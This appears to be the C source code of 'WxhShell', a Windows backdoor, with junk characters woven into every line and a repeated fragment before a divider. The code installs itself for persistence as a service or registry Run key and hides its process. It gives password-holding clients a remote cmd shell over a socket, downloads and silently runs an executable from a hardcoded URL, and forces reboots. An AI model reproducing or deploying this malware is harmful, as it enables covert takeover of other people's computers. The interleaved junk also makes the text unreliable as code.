    ExitThread(0); dRu@5 :BP  
    } s<5t}{x  
    break; CEUR-LK0  
    } J0>Q+Y  
  // 获取shell uM\~*@   
  case 's': { Sd)D-S  
    CmdShell(wsh); jeW0;Cz J~  
    closesocket(wsh); fer'2(G?W  
    ExitThread(0); ,:#prT[P"  
    break; K.cNx  
  } <1@_MY o  
  // 退出 & IDF9B  
  case 'x': { tf/ f-S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ML R3 A s  
    CloseIt(wsh); nc31X  
    break; 3*; {C|]S  
    } x3vz4m[  
  // 离开 -1< }_*  
  case 'q': { UyJ5}fBJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lb];P"2e+  
    closesocket(wsh); eF2<L[9  
    WSACleanup(); Qn<< &i~  
    exit(1); LAr6J  
    break; ^+P]_< 43  
        } ]vlQNd?  
  } 2V  
  } I*24%z9  
:H?p^d e  
  // 提示信息 ~gV|_G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bg#NB  
} S</" ^C51J  
  } ]{y ';MZ  
Bz24U wcZ  
  return; :Ct} ||9/  
} S>'wb{jj!  
i %z}8GIt'  
// shell模块句柄 Gd'^vqo<  
int CmdShell(SOCKET sock) ^i\zMMR  
{ ."h;H^5  
STARTUPINFO si; A5nu`e9&  
ZeroMemory(&si,sizeof(si)); ?$o8=h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9,9( mbWJv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E(S}c*05O  
PROCESS_INFORMATION ProcessInfo; #}A!Bk  
char cmdline[]="cmd"; &QE* V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?49wq4L;a  
  return 0; R!,RZ?|v  
} 1&m08dZm5  
MLp5Y\8*  
// 自身启动模式 CE?R/uNo{  
int StartFromService(void) [,fMh $t  
{ Maq{H`  
typedef struct K7y}R%Q F  
{ V6Q[Y>84~a  
  DWORD ExitStatus; ~fS#)X3 D  
  DWORD PebBaseAddress; d2 d^XMe!  
  DWORD AffinityMask; "7gHn0e>  
  DWORD BasePriority; "Pu P J|  
  ULONG UniqueProcessId; O,DA{> *m  
  ULONG InheritedFromUniqueProcessId; O[8Lp?  
}   PROCESS_BASIC_INFORMATION; Pl 5+Oo  
@@! R Iq!  
PROCNTQSIP NtQueryInformationProcess; Q}1PPi,  
VNMhtwmK,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W<58TCd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MenI>gd?  
] e&"CF  
  HANDLE             hProcess; ZM5[ o m  
  PROCESS_BASIC_INFORMATION pbi; 7IFUsli]  
&\5T`|~)!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =JEnK_@?K\  
  if(NULL == hInst ) return 0; 0$P40 7  
0w\gxd~'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8_ju.h[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )+ S"`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^D6JckW  
LtC kDnXk  
  if (!NtQueryInformationProcess) return 0; :k JSu{p  
!iZ*ZPu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (?~F}u v  
  if(!hProcess) return 0; <iL+/^#  
C YnBZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jd~r~.y  
8)sqj=  
  CloseHandle(hProcess); =`{!" 6a  
h NP|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m,8A2;&,8  
if(hProcess==NULL) return 0; WT!%FQ9  
:p OX,  
HMODULE hMod; 0WQ0-~wx  
char procName[255]; ]1gt|M^  
unsigned long cbNeeded; :vc[ iZ  
2 0hE)!A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PN<Y&/fB  
4(o0I~hpB?  
  CloseHandle(hProcess); yzXwxi1#  
l=kgRh  
if(strstr(procName,"services")) return 1; // 以服务启动 Dx iCq(;  
0PTB3-  
  return 0; // 注册表启动 `qX'9e3VP+  
} BEu9gu  
'"=C^f  
// 主模块 =TyN"0@  
int StartWxhshell(LPSTR lpCmdLine) *}yW8i}36  
{ 2W|j K  
  SOCKET wsl; %B#Ewt@[  
BOOL val=TRUE; Px)VDs=k  
  int port=0; lQ)ZsFs=  
  struct sockaddr_in door; -O-_F6p'D  
BYwG\2?~  
  if(wscfg.ws_autoins) Install(); p2tB F98  
 c~dX8+  
port=atoi(lpCmdLine); ptrLnJ|%  
w_eLas%  
if(port<=0) port=wscfg.ws_port; T w/CJg  
y?Fh%%uNr  
  WSADATA data; ,]Hn*\@p[c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Lv#DIQ8y  
9e.n1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A2F+$N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (\M&/X~q  
  door.sin_family = AF_INET; H.Pts>3r(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l6a,:*_  
  door.sin_port = htons(port); QNn$`Qz.  
S1zV.]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !%]]lxi  
closesocket(wsl); MNkysB(  
return 1; 2}+V3/  
} %z1WdiC  
IOt!A  
  if(listen(wsl,2) == INVALID_SOCKET) { t5[{ihv~:  
closesocket(wsl); hm?-QVRPV  
return 1; 9KD2C>d<  
} 7?B]X%  
  Wxhshell(wsl); BxlpI[yWq  
  WSACleanup(); nqy\xK#.^  
3 u-j`7  
return 0; N'|zPFk g  
G8eAj%88  
} #jK{)%}mA  
yQ6{-:`)  
// 以NT服务方式启动 9 /q4]%`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]J m9D=  
{ c~z{/L  
DWORD   status = 0; dIMs{!  
  DWORD   specificError = 0xfffffff; P2f~sx9  
A+:K!|w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rnun() plJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p4|:u[:&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [WC-EDO2lb  
  serviceStatus.dwWin32ExitCode     = 0; v5 $"v?PT  
  serviceStatus.dwServiceSpecificExitCode = 0; Uu8Z2M  
  serviceStatus.dwCheckPoint       = 0; bV`Zo(z  
  serviceStatus.dwWaitHint       = 0; #%B1, .A  
JFl@{6c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X]Sr]M^EK  
  if (hServiceStatusHandle==0) return; L@0DT&5  
"5ah{,  
status = GetLastError(); e-\J!E'1F  
  if (status!=NO_ERROR) ,,b_x@y*  
{ 980[]&(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $UO7AHk  
    serviceStatus.dwCheckPoint       = 0; - C8 h$P  
    serviceStatus.dwWaitHint       = 0; (F~eknJ  
    serviceStatus.dwWin32ExitCode     = status; T?NwSxGo  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y!CZ?c) @  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )vhHlZ *+  
    return; ^MDBJ0 I.  
  } ) Q]kUG#`  
;./Tv84I^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nBZqhtr  
  serviceStatus.dwCheckPoint       = 0; _9""3O  
  serviceStatus.dwWaitHint       = 0; '<$(*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N2xgyKy~  
} 7@|(z:uw  
6^}GXfJAc  
// 处理NT服务事件,比如:启动、停止 e,|"9OK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^cBA8 1  
{ x w]Zo<F  
switch(fdwControl) w,9$*=k  
{ X62z>mM  
case SERVICE_CONTROL_STOP: xlv:+  
  serviceStatus.dwWin32ExitCode = 0; 2u/(Q>#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Q\QZu@  
  serviceStatus.dwCheckPoint   = 0; -9vAY+s.  
  serviceStatus.dwWaitHint     = 0; +2MsyA?6_  
  { 9e1gjC\c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] QtGgWtC  
  } HO}aLp  
  return; ,HYz-sK.  
case SERVICE_CONTROL_PAUSE: $Y)|&,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k7f[aM5]  
  break; ,k+jx53XV  
case SERVICE_CONTROL_CONTINUE: _N0x&9S$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q$~S?X5\  
  break; Fu!:8Wp!(  
case SERVICE_CONTROL_INTERROGATE: I)O%D3wfMW  
  break; )"=BbMfhu  
}; r]" >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (a@cK,  
} }DY^a'wJ-  
boJQ3Xc  
// 标准应用程序主函数 qS+'#Sn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SQWA{f  
{ ~iyd p  
N@Bqe{r6j  
// 获取操作系统版本 YtxBkKiJ2V  
OsIsNt=GetOsVer(); Z;SRW92@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }0}J  
: :e=6i  
  // 从命令行安装 V]`V3cy1+3  
  if(strpbrk(lpCmdLine,"iI")) Install(); R-bICGSE  
^7~=+0cF]  
  // 下载执行文件 mJ !}!~:  
if(wscfg.ws_downexe) { A\.k['!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .@/5Ln  
  WinExec(wscfg.ws_filenam,SW_HIDE); kSoAnJ|  
} N y7VIh|  
a}El!7RO0  
if(!OsIsNt) { (;V]3CtU*  
// 如果时win9x,隐藏进程并且设置为注册表启动 x.>z2.  
HideProc(); K;gm^  
StartWxhshell(lpCmdLine); C} Ewi-  
}  @X  
else LHR%dt|M  
  if(StartFromService()) wC..LdSR  
  // 以服务方式启动 12;" K?7{  
  StartServiceCtrlDispatcher(DispatchTable); dcYUw]  
else 4,wdIdSm4  
  // 普通方式启动 =HYMX "s  
  StartWxhshell(lpCmdLine); d\'M ~VQ  
rS{Rzs^@  
return 0; nRb#M  
} ~$YFfv>  
?Ju=L|  
xBR2tDi%  
v=iz*2+X  
=========================================== O#CxS/M5  
(E\7Ui0 Q  
3Akb|r  
'?wv::t  
2gg5:9  
-QI1>7sl  
" 71w  
4}LGE>  
#include <stdio.h> X 4;+`  
#include <string.h> ]ZHC*r2i  
#include <windows.h> %l5Uy??Z  
#include <winsock2.h> A!W(>  
#include <winsvc.h> ^h4Q2Mv o  
#include <urlmon.h> *.ZV.(  
P;mmK&&  
#pragma comment (lib, "Ws2_32.lib") )7*Apy==x  
#pragma comment (lib, "urlmon.lib") f)?s.DvUB  
po\QMe  
#define MAX_USER   100 // 最大客户端连接数 cQS}pQyYN  
#define BUF_SOCK   200 // sock buffer AIN_.=]"?  
#define KEY_BUFF   255 // 输入 buffer ~^KemwogPN  
/8 Ca8Ju  
#define REBOOT     0   // 重启 f\2'/g}6a  
#define SHUTDOWN   1   // 关机 &yp_wW-  
y [.0L!C {  
#define DEF_PORT   5000 // 监听端口 q J@XVN4   
0_,V}  
#define REG_LEN     16   // 注册表键长度 'FO^VJ;ha  
#define SVC_LEN     80   // NT服务名长度 hXmW,+1  
L+9a4/q  
// 从dll定义API "72 _Sw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QU8?/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h9 [ov)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZYc)_Og  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lH T?  
li$(oA2  
// wxhshell配置信息 G'#a&6  
struct WSCFG { KokmylHu  
  int ws_port;         // 监听端口 ,^`+mP  
  char ws_passstr[REG_LEN]; // 口令 =cX &H  
  int ws_autoins;       // 安装标记, 1=yes 0=no oju4.1  
  char ws_regname[REG_LEN]; // 注册表键名 P0 hC4Sxf  
  char ws_svcname[REG_LEN]; // 服务名 GyRU/0'BME  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "qMd%RP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y GvtG U-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }+,1G!? z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )LKutN?tBy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y{f;qbEQH'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ [0  
-YJ7ne]  
}; 2PAo tD4+I  
C[|jJ9VE,  
// default Wxhshell configuration 6psK2d0  
struct WSCFG wscfg={DEF_PORT, x_s9DkX  
    "xuhuanlingzhe", [;83 IoU}  
    1, `>g: :  
    "Wxhshell", P)7SK&]r;=  
    "Wxhshell", cOxF.(L  
            "WxhShell Service", gR?=z}`@p  
    "Wrsky Windows CmdShell Service", 305()  
    "Please Input Your Password: ", jaFBz&P/#  
  1, NcwZ_*sqj  
  "http://www.wrsky.com/wxhshell.exe", b: +.Y$%F-  
  "Wxhshell.exe" "  q0lh  
    }; j2k,)MHu!x  
QUH USDT  
// 消息定义模块 SB:-zQ5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kOs_]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @m<xpe l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3l-8TR  
char *msg_ws_ext="\n\rExit."; <;=?~QK%-  
char *msg_ws_end="\n\rQuit."; W(9-XlYKE  
char *msg_ws_boot="\n\rReboot..."; =M*31>"I0  
char *msg_ws_poff="\n\rShutdown..."; E}b" qOV  
char *msg_ws_down="\n\rSave to "; > CZ|Vx  
:-69,e  
char *msg_ws_err="\n\rErr!"; 9]xOu Cb  
char *msg_ws_ok="\n\rOK!"; tF O27z@  
wHEt;rc(  
char ExeFile[MAX_PATH]; L|u\3.:  
int nUser = 0; D0.7an6  
HANDLE handles[MAX_USER]; ^R! qxSj  
int OsIsNt; K\,)9:`t  
z^ rf;  
SERVICE_STATUS       serviceStatus; ovvR{MTc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +YI/(ko=  
zw_Xh~4"b  
// 函数声明 zr-HL:js  
int Install(void); 6H53FMqr  
int Uninstall(void); ;S7MP`o@  
int DownloadFile(char *sURL, SOCKET wsh); K_G( J>  
int Boot(int flag); e)zE*9  
void HideProc(void); 7:)=  
int GetOsVer(void); u$X [=  
int Wxhshell(SOCKET wsl); 3ktjMVy\  
void TalkWithClient(void *cs); O>IY<]x>L  
int CmdShell(SOCKET sock); `gDpb.=Y  
int StartFromService(void); J4;w9[a$  
int StartWxhshell(LPSTR lpCmdLine); g~rZ=  
:54ik,l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LkK%DY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hca vA{H  
}i^]uW*h  
// 数据结构和表定义 tMR&>hM  
SERVICE_TABLE_ENTRY DispatchTable[] = &'TZU"_  
{ m6a`OkP  
{wscfg.ws_svcname, NTServiceMain}, $^?Mip  
{NULL, NULL} Y[R veF  
}; w/IYQC\v  
X3-pj<JLY  
// 自我安装 b8r?Dd"T8  
int Install(void) '=Nb`n3%  
{ &5h{XSv  
  char svExeFile[MAX_PATH]; o:W>7~$jr=  
  HKEY key; Ej~vp2  
  strcpy(svExeFile,ExeFile);  iVu  
KLBU8%  
// 如果是win9x系统,修改注册表设为自启动 nD@/,kw"  
if(!OsIsNt) {  _zvCc%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PzMJ^H{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3CL/9C>  
  RegCloseKey(key); p.A_,iE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UyTsUkY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6!*be|<&  
  RegCloseKey(key); <2"'R(4",  
  return 0; #>i Bu:\J  
    } ywTt<;  
  } sEkfmB2J/  
} %IL] Wz<  
else { aMe]6cWHV>  
]V0V8fU|  
// 如果是NT以上系统,安装为系统服务 8Wqh 8$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?<)4_  
if (schSCManager!=0) ~_8Dv<"a  
{ #I8)|p?P  
  SC_HANDLE schService = CreateService ZP~Mgz{f  
  ( wI8  
  schSCManager, \@&oK2f  
  wscfg.ws_svcname, "\cDSiD  
  wscfg.ws_svcdisp, JZI)jIh  
  SERVICE_ALL_ACCESS, 2[ = =  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <:/Lap#D^  
  SERVICE_AUTO_START, &W+lwEu  
  SERVICE_ERROR_NORMAL, 6 <XQ'tM]N  
  svExeFile, >Q3_-yY+  
  NULL, : fMQ,S0  
  NULL, 6B`XHdCq  
  NULL, "jV :L  
  NULL, <+Eu.K&  
  NULL C@d*t?  
  ); !xk`oW  
  if (schService!=0) .8e]-^Z  
  { ])OrSsV}  
  CloseServiceHandle(schService); "AYm*R  
  CloseServiceHandle(schSCManager); /S2lA>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KCP$i@Pjv  
  strcat(svExeFile,wscfg.ws_svcname); XuS3#L/3p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M$_E:u&D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5|O~  
  RegCloseKey(key); ~wYGTm=(n  
  return 0; |?v(?  
    } !z? &  
  } Voy1  
  CloseServiceHandle(schSCManager); xB-\yWDZe  
} Q\Wh]=}  
} mxD]`F  
QiH>!Ssw  
return 1; dhrh "x_?:  
} vT@*o=I  
;>hRj!  
// 自我卸载 corNw+|/w  
int Uninstall(void) c"KN;9c,  
{ dynkb901s  
  HKEY key; {=K);z  
zVt1Ta:j  
if(!OsIsNt) { b'q ru~i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X* 4C?v  
  RegDeleteValue(key,wscfg.ws_regname); I+2#k\y  
  RegCloseKey(key); #zmt x0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $40G$w  
  RegDeleteValue(key,wscfg.ws_regname); ?vt#M^Q   
  RegCloseKey(key); aa2 vk)~  
  return 0; o8_))  
  } W(5XcP(  
} T<? (KW  
} yz}ik^T  
else { OSoIH`t A  
LV2#w_^I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |7%has3"  
if (schSCManager!=0) ncGt-l<9  
{ #`]`gNB0Yg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ej91)3AO  
  if (schService!=0) j]HzI{7y  
  { AQ%B&Q(V1  
  if(DeleteService(schService)!=0) { K g6hySb  
  CloseServiceHandle(schService); GFGW'}w-  
  CloseServiceHandle(schSCManager); izDfpr}s4  
  return 0; mH.c`*  
  } wqxChTbs  
  CloseServiceHandle(schService); 0oK_uY 4g  
  } >}T}^F  
  CloseServiceHandle(schSCManager); ZLDO&}  
} "DO|B=EejP  
} 2# 72B  
Bnp\G h  
return 1; UuS6y9@v  
} dNu?O>=  
Ztl?*zL  
// 从指定url下载文件 f9K+o-P.h  
int DownloadFile(char *sURL, SOCKET wsh) 7 D(Eo{ue  
{ m!5MGq~  
  HRESULT hr; !zVjbYWY  
char seps[]= "/"; k"3@ G?JY  
char *token; ;!S i_b2  
char *file; @.&KRAZ  
char myURL[MAX_PATH]; shgZru  
char myFILE[MAX_PATH]; ; ,Nvg6c  
~6A;H$dr  
strcpy(myURL,sURL); Sw.k,p*r  
  token=strtok(myURL,seps); !C(U9p. 0  
  while(token!=NULL) ^jb jH I&  
  { F/SYmNp  
    file=token; R ;k1(p  
  token=strtok(NULL,seps); VUon>XQ G  
  } VTUSM{TC  
iE0x7x P_  
GetCurrentDirectory(MAX_PATH,myFILE); R XN0v@V  
strcat(myFILE, "\\"); 7}1Z7"?  
strcat(myFILE, file); Tnv,$KOhs  
  send(wsh,myFILE,strlen(myFILE),0); BUCPO}I  
send(wsh,"...",3,0); '4Drs}j5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P3!JA)p6a  
  if(hr==S_OK) `pb=y}  
return 0; D\^mh{q(  
else `]`S"W7&  
return 1; U?%T~!  
z"nMR_TTu  
} HV&i! M@T  
U5 ia|V  
// 系统电源模块 cG"wj$'w  
int Boot(int flag) ;V?3Hwl  
{ 2FN E ;y(  
  HANDLE hToken; $D='NzE/  
  TOKEN_PRIVILEGES tkp; *ESi~7;#  
aX,6y1  
  if(OsIsNt) { KV8Ok  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w5 #;Lm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NR,R.N^[  
    tkp.PrivilegeCount = 1; wRdN(`;v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EK.n $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [Kg3:]2A  
if(flag==REBOOT) { pocXQEg$]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n8E3w:A-  
  return 0; +B[XTn,Cru  
} H: nO\]  
else { ce3``W/H3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]eUD3WUe>q  
  return 0; 4T6: C?V  
} 0GW69 z  
  } 5yyc 0UG  
  else { 4/V;g%0uN;  
if(flag==REBOOT) { TNDp{!<|L;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q@"}v_r4  
  return 0; )<%CI#s#  
} ^-L nO%h?  
else { n&!q9CR`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rB-R(2 CCN  
  return 0; N1}r%!jk/  
} )(OGo`4Qz  
} T/0cPn0>  
U ;A,W$<9  
return 1; O=eU38n:5u  
} v .ow`MO=;  
.HN4xL  
// win9x进程隐藏模块 *k,{[b  
void HideProc(void) t7yvd7  
{ LSR0yCU  
i=R%MH+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K8/jfm  
  if ( hKernel != NULL ) !UR3`Xk  
  { Y(] W+k<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #)#J`s1R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X(O:y^sX}  
    FreeLibrary(hKernel); .}GOHW)}  
  } *0vRVlYf  
KRX\<@  
return; 7^V`B^Vu  
} p1[|5r5Day  
Z`f?7/"B  
// 获取操作系统版本 /U,(u9bq  
int GetOsVer(void) u aYI3w@^  
{ F >H\F@Wl  
  OSVERSIONINFO winfo; Wv%F^(R7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x:i,l:x  
  GetVersionEx(&winfo); V["'eJA,,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n!sOKw  
  return 1; qC=9m[MI  
  else Adet5m.|[8  
  return 0; ~]24">VZf  
} \irKM8]LJ  
:L6%57  
// 客户端句柄模块 (0l>P]"n   
int Wxhshell(SOCKET wsl) d}  5  
{ A#{I- *D[  
  SOCKET wsh; p I.~j]*:{  
  struct sockaddr_in client; o^/ fr&,9  
  DWORD myID; W0;QufV  
jd2 p~W  
  while(nUser<MAX_USER) ]N,'3`&::  
{ n^rbc ;}  
  int nSize=sizeof(client); 5R)IL 2~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MskO Pg  
  if(wsh==INVALID_SOCKET) return 1; lKf kRyO_S  
nVrV6w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $WE=u9m  
if(handles[nUser]==0) Y O|hwhe_  
  closesocket(wsh); f'MRC \  
else Lp3pJE  
  nUser++; MR: H3  
  }  )y6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }O+S}Hbwy  
:#\jx  
  return 0; ]<ay_w;  
} I?nU+t;  
6kMEm)YjT  
// 关闭 socket 3sRI 7g  
void CloseIt(SOCKET wsh) ,S m?2<  
{ C^LxJG{L5  
closesocket(wsh); 4]E1x l  
nUser--; R6`mmJ+'  
ExitThread(0); Bio QV47B  
} _v 8u%  
bMsThoePT  
// 客户端请求句柄 5z_Kkf?o  
void TalkWithClient(void *cs) @+_pj.D  
{ xSO5?eR"u  
G^z>2P  
  SOCKET wsh=(SOCKET)cs; ,Y#f0  
  char pwd[SVC_LEN]; UV</Nx)3  
  char cmd[KEY_BUFF]; APJFy@l}  
char chr[1]; `Ba?4_>k  
int i,j; )iVuac]E++  
6mIeV0Q'  
  while (nUser < MAX_USER) { "r8N- h/P  
l^%52m@{  
if(wscfg.ws_passstr) { Bs|#7mA[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hhhxsGyv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3g56[;Up?  
  //ZeroMemory(pwd,KEY_BUFF); RH$l?j6  
      i=0; R&:Qy7"  
  while(i<SVC_LEN) { &|h9L'mr  
z_#HJ}R=  
  // 设置超时 X{[$4\di{  
  fd_set FdRead; ug'^$geM  
  struct timeval TimeOut; 9 &Ry51  
  FD_ZERO(&FdRead); 4/_! F'j  
  FD_SET(wsh,&FdRead); 6JeAXj1g+  
  TimeOut.tv_sec=8; In;P33'p  
  TimeOut.tv_usec=0; i5_l//]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O;&5> W,Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I.>8p]X  
X)= m4\R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/=\YeR  
  pwd=chr[0]; jwuSne  
  if(chr[0]==0xd || chr[0]==0xa) { **oDQwW]*  
  pwd=0; IL uQf-  
  break; DGw*BN%`  
  } +VJyGbOcC  
  i++; W<TfDEEa  
    } fN21[Jv3  
c>! ^\  
  // 如果是非法用户,关闭 socket G)f!AuN=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !aJ6Uf%R  
} G8MLg#  
Zlt,Us`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \IEuu^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |oePB<N  
\@T;/Pj{[  
while(1) { sPl3JP&s  
{qU;>;(  
  ZeroMemory(cmd,KEY_BUFF); h0A%KL  
P)hGe3  
      // 自动支持客户端 telnet标准   d/@P;YN!  
  j=0; 9l|*E  
  while(j<KEY_BUFF) { )c 79&S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yMmUOIxk\  
  cmd[j]=chr[0]; +D[C.is>]}  
  if(chr[0]==0xa || chr[0]==0xd) { 5`lVC$cP  
  cmd[j]=0; 0zsmZ]b5E  
  break; O%aHQL%Sz  
  } h2= wC.  
  j++; (yeWArQ  
    } ]US!3R^  
AM#s2.@  
  // 下载文件 +tG'  
  if(strstr(cmd,"http://")) { \.GA" _y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1=z\,~ b  
  if(DownloadFile(cmd,wsh)) fP8bWZ{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C*1 1?B[  
  else '$ z@40u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i[z#5;x+<  
  } 7 9k+R9m  
  else { dQAF;L  
{Q`Q2'@  
    switch(cmd[0]) { QF22_D<.}J  
  0HQTe>!  
  // 帮助 j0n.+CO-{  
  case '?': { )(c%QWz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |TF6&$>d  
    break; -q nOq[  
  } cFq2 6(e  
  // 安装 C~nL3w  
  case 'i': { 3{Zd<JYg4-  
    if(Install()) ZsYY)<n  
